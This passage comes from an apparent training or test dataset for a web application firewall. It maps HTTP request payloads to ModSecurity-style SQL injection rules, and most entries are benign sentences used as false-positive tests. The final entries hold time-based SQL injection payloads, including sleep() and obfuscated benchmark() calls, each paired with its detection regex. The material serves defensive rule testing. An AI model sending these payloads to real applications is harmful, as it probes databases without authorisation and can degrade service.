12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with likelihood (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Below the rank of species he sometimes recognized taxa of a lower (unnamed) rank ; these have since acquired standardised names such as variety in botany and subspecies in zoology." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with lower (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=Grasshopper v1.0 made its eighth, and final, test flight on October 7, 2013, flying to an altitude of convert (0.46 miles) before making its eighth successful VTVL landing." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with convert (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=In older texts printed down to c. 1630, v was used in initial position (even when it represented a vowel, e.g. in vt, later printed ut) and u was used elsewhere, e.g. in nouus, later printed novus." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with position (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=The measures of the interior angles of the triangle always add up to 180 degrees (same color to point out they are equal)." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with degrees (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=There are numerous causes of asystole that may be reversible if determined quickly enough, however, survival is very unlikely (~2% if not in a hospital)." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with unlikely (" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=The script is written from right to left, (Lal 1966) and sometimes follows a boustrophedonic style." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:cii(?:str)?|in)|tan2?)|b(?:enchmark|i(?:n_to_num|t_(?:and|count|length|x?or)))|c(?:har(?:acter)?_length|eil(?:ing)?|o(?:alesce|ercibility|llation|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert_tz)?)|t)|rc32|ur(?:(?:dat|tim)e|rent_(?:date|setting|time(?:stamp)?|user)))|d(?:a(?:t(?:abase(?:_to_xml)?|e(?:_(?:add|format|sub)|diff))|y(?:name|of(?:month|week|year)))|count|e(?:code|s_(?:de|en)crypt)|ump)|e(?:n(?:c(?:ode|rypt)|ds_?with)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:el|n)d_in_set|ound_rows|rom_(?:base64|days|unixtime))|g(?:e(?:ometrycollection|t(?:_(?:format|lock)|pgusername))|(?:r(?:eates|oup_conca)|tid_subse)t)|hex(?:toraw)?|i(?:fnull|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull)|superuser)|null))|json(?:_(?:a(?:gg|rray(?:_(?:elements(?:_text)?|length))?)|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|object(?:_(?:agg|keys))?|populate_record(?:set)?|strip_nulls|t(?:o_record(?:set)?|ypeof))|b(?:_(?:array(?:_(?:elements(?:_text)?|length))?|build_(?:array|object)|e(?:ac|xtract_pat)h(?:_text)?|insert|object(?:_(?:agg|keys))?|p(?:ath_(?:(?:exists|match)(?:_tz)?|query(?:_(?:(?:array|first)(?:_tz)?|tz))?)|opulate_record(?:set)?|retty)|s(?:et(?:_lax)?|trip_nulls)|t(?:o_record(?:set)?|ypeof)))?|path)?|l(?:ast_(?:day|insert_id)|case|east|i(?:kely|nestring)|o(?:_(?:from_bytea|put)|ad_file|ca(?:ltimestamp|te)|g(?:10|2))|pad|trim)|m(?:a(?:ke(?:_set|date)|ster_pos_wait)|d5|i(?:crosecon)?d|onthname|ulti(?:linestring|po(?:int|lygon)))|n(?:ame_const|ot_in|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:eriod_(?:add|diff)|g_(?:client_encoding|(?:databas|read_fil)e|l(?:argeobject|s_dir)|sleep|user)|o(?:lygon|w)|rocedure_analyse)|qu(?:ery_to_xml|ote)|r(?:a(?:dians|nd|wtohex)|elease_lock|ow_(?:count|to_json)|pad|trim)|s(?:chema|e(?:c_to_time|ssion_user)|ha[12]?|in|oundex|q(?:lite_(?:compileoption_(?:get|used)|source_id)|rt)|t(?:arts_?with|d(?:dev_(?:po|sam)p)?|r(?:_to_date|cmp))|ub(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|ys(?:date|tem_user))|t(?:ime(?:_(?:format|to_sec)|diff|stamp(?:add|diff)?)|o(?:_(?:base64|jsonb?)|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|i(?:str|x_timestamp))|(?:pdatexm|se_json_nul)l|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|var(?:_(?:po|sam)p|iance)|we(?:ek(?:day|ofyear)|ight_string)|xmltype|yearweek)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942151", "test_description": "False positive with left, (" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "sql_table=sleep%28534543%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sleEP(3)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sleep(5000)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BENChmARk(2999/**/999,Md5(NoW()" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based Payload Detected via Sleep Function" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "BEncHMARk(2999999,Md5(NoW('')" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:sleep\\s*?\\(.*?\\)|benchmark\\s*?\\(.*?\\,.*?\\))", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942160", "test_description": "SQL Injection Attack: Time-Based 